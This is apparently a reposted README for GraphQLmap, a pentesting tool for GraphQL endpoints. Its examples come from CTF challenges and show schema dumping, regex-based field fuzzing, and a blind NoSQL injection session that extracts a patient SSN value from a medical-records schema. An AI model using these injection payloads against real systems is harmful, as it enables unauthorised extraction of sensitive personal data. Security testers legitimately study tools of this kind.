GraphQLmap – A Scripting Engine To Interact With A Graphql Endpoint For Pentesting Purposes

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GraphQLmap

GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.

Install

$ git clone https://github.com/swisskyrepo/GraphQLmap
$ python graphqlmap.py
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Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]]

optional arguments:
-h, --help show this help message and exit
-u URL URL to query : example.com/graphql?query={}
-v [VERBOSITY] Enable verbosity
--method [METHOD] HTTP Method to use interact with /graphql endpoint
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
--json Send requests using POST and JSON

Features and examples

Examples are based on several CTF challenges from HIP2019.

Connect to a graphql endpoint

python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'

Dump a GraphQL schema

Use dump_new to dump the GraphQL schema, this function will automaticly populate the “autocomplete” with the found fields.

Live Example

GraphQLmap > dump_new                     
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)

Query
doctor[]: email (String!),
doctors[Doctor]:
patients[Patient]:
patient[]: id (ID!),
allrendezvous[Rendezvous]:
rendezvous[]: id (ID!),
Doctor
id[ID]:
firstName[String]:
lastName[String]:
specialty[String]:
patients[None]:
rendezvous[None]:
email[String]:
password[String]:
[...]

Interact with a GraphQL endpoint

Write a GraphQL request and execute it.

GraphQLmap > {doctors(options: 1, search: "{ "lastName": { "$regex": "Admin"} }"){firstName lastName id}}
{
"data": {
"doctors": [
{
"firstName": "Admin",
"id": "5d089c51dcab2d0032fdd08d",
"lastName": "Admin"
}
]
}
}

GraphQL field fuzzing

Use GRAPHQL_INCREMENT and GRAPHQL_CHARSET to fuzz a parameter.

Live Example

GraphQLmap > {doctors(options: 1, search: "{ "lastName": { "$regex": "AdmiGRAPHQL_CHARSET"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi!"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi$"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi%"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi("} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi)"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi*"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi+"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi,"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi-"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi."} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi/"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi0"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi1"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi?"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admin"} }"){firstName lastName id}}

NoSQLi injection

Use BLIND_PLACEHOLDER inside the query for the nosqli function.

Live Example

GraphQLmap > nosqli
Query > {doctors(options: "{""patients.ssn":1}", search: "{ "patients.ssn": { "$regex": "^BLIND_PLACEHOLDER"}, "lastName":"Admin" , "firstName":"Admin" }"){id, firstName}}
Check > 5d089c51dcab2d0032fdd08d
Charset > 0123456789abcdef-
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
GraphQLmap >

SQL injection

GraphQLmap > postgresqli
GraphQLmap > mysqli
GraphQLmap > mssqli

TODO

  • Docker with vulnerable GraphQL
  • Unit tests
  • Handle node
{
user {
edges {
node {
username
}
}
}
}
Download GraphQLmap

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